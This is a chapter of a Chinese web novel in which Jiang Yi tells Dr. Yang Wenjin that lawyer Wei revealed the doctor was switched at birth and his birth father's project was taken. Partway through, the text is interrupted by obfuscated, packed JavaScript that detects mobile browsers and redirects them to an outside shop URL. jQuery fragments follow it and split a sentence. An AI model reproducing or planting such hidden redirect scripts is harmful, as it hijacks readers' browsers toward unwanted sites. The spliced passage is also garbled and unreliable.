清晨。

    阳闻烬起床,洗漱完毕后,走到窗边拉开窗帘。天气严寒,不适宜户外运动,他都会选择在跑步机上跑步。

    他换好运动套装,随意往窗外看了一眼,一个熟悉的人影坐在小区花园的长椅上发呆。

    阳闻烬心中一动,拿起了在特克利亚时偷窥姜亿用的望远镜,在缩小的世界中看到了让他牵挂的脸。

    他急忙套上外套,下了楼,喘着粗气地站在那人面前。“姜亿,怎么大早上就坐在这里,冻着怎么办?来,跟我上楼。”

    姜亿神情低落,见到阳闻烬后,双眼茫然,嘴角下撇,双手蜷缩在膝盖上。

    阳闻烬什么时候见过这样可怜的姜亿,心软成一滩水,牵住她冰凉的手,把她拉上楼。

    他知道,一定是姜亿糊里糊涂的计划失败,不知道怎么办,就坐在他家楼下等他醒来。

    进屋后,阳闻烬两手搓着姜亿的双手,缓和着她手指的僵硬。“也不知道戴个手套,为什么不直接打电话给我?坐在楼下坐多久了?”

    “我……”姜亿嗓音干涩,又咳了两声。

    阳闻烬担忧不已,“不会是要生病了吧?我给你煮点生姜水,你先去泡个澡,暖和暖和。”

    他走到浴室放水,又调高了屋内暖气温度,又从卧室找出一条干净毛巾和没穿过的睡衣。

    “只有这套睡衣,可能尺码偏大,等会我给你买新的。”阳闻烬把姜亿推到浴室,关上门,又跑到厨房切生姜。

    等姜亿穿着过大的睡衣坐在暖意融融的客厅里,被阳闻烬殷勤地拿着勺子喂她姜汤时,她才反应过来。

    “我自己来吧。”姜亿接过瓷碗,仰头把姜汤一饮而尽。

    阳闻烬顿时十分失望,他还打算一口一口喂下去呢。他坐在姜亿身边,问道:“怎么了?还是那件事?失败了?”

    他没戴那副金丝眼镜,神态却万分柔和。

    姜亿低头,抠了抠自己的手指。

    “没关系,不要害怕,我在这里。”阳闻烬觉得姜亿这样可爱极了,更加放柔了声音。平时姜亿嘴硬得很,关键时候却蔫不拉叽,还坐在他家的楼下等他醒来,这怎么能不让他心软。

    姜亿被阳闻烬的态度电到,鸡皮疙瘩起了一身。“阳医生,正常一点跟我讲话,好吗?”

    阳闻烬好似没听见姜亿说了什么,依旧那副温柔到吓人的语气,“发生了什么,和我说说?”

    “我的计划失败了,还是那样,看到他们流眼泪我就控制不住自己。”提到这事,姜亿就止不住的心烦。

    “所以你一早就来找我,要是我没看见你,你要在那里坐多久?”阳闻烬温和地指责,“总会有解决的办法,姜亿,来,我们先从……”

    姜亿打断了阳闻烬的长篇大论,说道:“阳医生,我来找你不是为了我自己的事情,是为了你的事情。”

    “什么?”这回轮到阳闻烬怔住了。

    昨天晚上,姜亿回到佐伊的别墅,遇到了一个胖胖的男人,他头发花白,估计已经年逾六十。男人的年纪和身材不属于壮汉类型,不像是佐伊的下属,姜亿虽好奇,但没有多问。

    男人却主动叫住了姜亿,自我介绍起来,他告诉姜亿,他姓魏,是一名律师。他的雇主是邹家老爷子。他这么一说,姜亿意识到,魏律师就是那个带着遗嘱跑掉的律师,他竟然一直在佐伊这里。

    魏律师走路摇摇晃晃,像是才喝了酒回来,他没有提遗嘱的事,反而提起了一个不可能提起的人,那人便是阳闻烬。

    他说,他看到阳闻烬送姜亿回别墅,知道他们两个关系不一般。他问了阳闻烬的名字、职业和年龄后,突然意味不明地发笑,在姜亿拳头的威胁下,说出了一段荒谬又狗血的故事。

    姜亿一直好奇,在原剧情中佐伊最后到底和阳闻烬说了什么,魏律师给了她解答。

    “那个孩子,姓阳啊。”魏律师酒喝多了,像是累极了,坐在椅子上昏昏欲睡。

    “姓阳怎么了?”姜亿一点也没有尊重老人的意思,又把魏律师给摇醒。

    这可是原剧情的大结局,怎么能让这老头睡着?等他酒醒,说不定又不愿意说了。

    “哎呦,别晃我,你这丫头手没轻没重的,差点把我骨头架子给晃散架。”魏律师痛得老脸皱成一块,“我就知道点陈年往事,随口一说,你可千万别往外面说。”

    “知道,知道。”姜亿连连点头,“我这人记性贼差,用不了多久就会忘得精光。”

    “嘿嘿。”魏律师嘿嘿一笑,“我年轻时就跟着邹家老爷子,知道邹家不少事。老爷子最重视的孩子就是邹寰宇,那小子年纪轻轻就学着管理企业,年轻嘛,就想做出点成绩,恰好他妈那边有个远房亲戚,拿着一个项目后来找他,希望他能以邹氏的名义主导这个项目。邹寰宇评估过后,觉得这个项目有利可图,于是就注资、启动、生产,赚了不少,老爷子那叫一个高兴啊,以为自己生了条龙出来。”

    魏律师说完这段话,抹了抹额头上的汗,喝了一口水,继续说道:“邹寰宇那个远方亲戚姓黄,叫黄腾辉,当时经营着一家不大不小的公司,这些年,依着邹家的帮助,公司也发展得不错哩。当年,为了搭上邹家这条船,黄腾辉从一个叫阳天光的人手里买来了那个项目。”

    “买的?”姜亿震惊,不是说是偷的吗?

    “其实,说买也不准确,准确来说,是交易。黄腾辉有个儿子,阳天光也有个儿子,他们两个儿子在同一家医院出生。”

    姜亿忽然觉得狗血起来,抽了抽嘴角,“你不会想说,这俩抱错了吧。”

    “唉,这事在当年不奇怪,怪就怪在黄腾辉早就知道自己儿子不是亲儿子,却一直没找阳天光换回来,直到他从一个姓许的朋友那里得知他们在弄一个项目,才和阳天光正式接触。”

    姜亿疑惑,姓许?是阳闻烬那个童年玩伴许邻冬的父亲吗?

    “阳天光知道孩子不对,一直想找黄腾辉换回来,黄腾辉始终不肯,还找人弄了张假的亲子鉴定。阳天光为这事还闹到法院,但几天后,他主动撤销了诉讼,说自己搞错了,他们的孩子没抱错。”

    “到底错没错?”姜亿搞晕了。

    “错了。”魏律师闭了闭眼睛,“黄腾辉告诉阳天光一个非常现实的事情,阳天光有很好的点子,但他拉不来投资,市里没有人脉,就算项目落

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17683944|202308||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    地,也只会惨淡收场。而他黄腾辉背靠邹家,注定会飞黄腾达,阳天光的孩子在黄家也会成为人上人,不谈比肩邹寰宇的儿子,怎么也得是个少爷。阳天光信了。他任由黄腾辉把他的项目拿走,他的合伙人也拿了一大笔钱闭嘴了。黄腾辉答应他,等项目落地,他会拿出一笔钱给阳天光还债。阳天光没等来那笔钱,反而被追债追得走投无路,夫妻二人双双自杀,只留下一个不是亲生的孩子独自生活。”

    姜亿疑惑,“我搞不懂,怎么会有人弃自己亲生孩子不顾,反而去培养其他人的孩子?”

    “我也不懂。”魏律师又嘿嘿笑了一声,“但死去的阳天光不知道,黄腾辉之后又生了个孩子,如宝似玉地对待,那个不是亲生的儿子早就丢在一边了。”

    姜亿长长呼出一口气,问道:“魏律师,你说的都是真的吗?”

    “我就随便说说,哪知道真假。只不过当年,黄腾辉和阳天光签了一个没什么法律效力的合同,他姓黄的请我看了一眼罢了。”魏律师眯着眼睛。

    姜亿觉得,这老头简直成精了。

    “什么合同?”姜亿问。

    “大概是什么替他养孩子之类的合同吧,以防阳天光去告他。”魏律师老神在在。

    “好扯啊。”姜亿不知道说什么,“你跟我说干什么?没告诉佐伊?”

    魏律师说道:“没说,本来打算等他要杀我时当个笑话讲出来乐一乐,现在看来,这小子也不想杀我了啊,那就憋在肚子里,跟个小姑娘讲讲也不是不可以。”

    看来,在原剧情中,佐伊是想杀了魏律师的,他一定是从魏律师这里知道了这些事,才在阳闻烬生命的最后一刻告诉了他一切。

    “你也可以不讲。”姜亿说道。

    “唉,人老了,以前年轻的时候在乎权势、金钱,老了心肠就软了下来,我当年偷偷调查过,那孩子小时候很不喜欢笑,总是冷着一张脸,别人看了都害怕,所以亲生父母和养父母才都不要吧。想到这里,我就觉得可怜起来,就想找个人说一说。”魏律师神色复杂。

    姜亿也不知道说些什么好,她后悔自己在门口遇到这个胖胖的律师。于是转而换了话题,她清了清嗓子,“遗产,那个遗产有佐伊的份吗?”

    魏律师摇摇头,“没有,甚至没有提到他,老爷子恐怕都不知道自己还有这么一个孩子。”

    别墅里的气氛一下子变得更加凝重。

    姜亿回房后,翻来覆去一晚上都在纠结要不要告诉阳闻烬,早上离开后坐在他家楼下时还在纠结,直到冻僵被起床的阳闻烬发现。

    思来想去,姜亿觉得,如果阳闻烬不知道这些,那也太可怜了。

    她艰难开口,告诉了阳闻烬魏律师说的一切。

    阳闻烬神色没有太大变动,只是淡淡道:“原来是这样啊,看来姜亿你说的对,我父母真不是我亲生的父母。我竟没有想到,亲子鉴定也可以造假,这是我的盲区了。”

    “阳医生。”姜亿隐隐担忧地皱眉。

    一个知道自己身世会是这种态度吗?

    “不用担心,我没事。”阳闻烬扬起笑容,“现在最重要的事,是把你的事情解决。”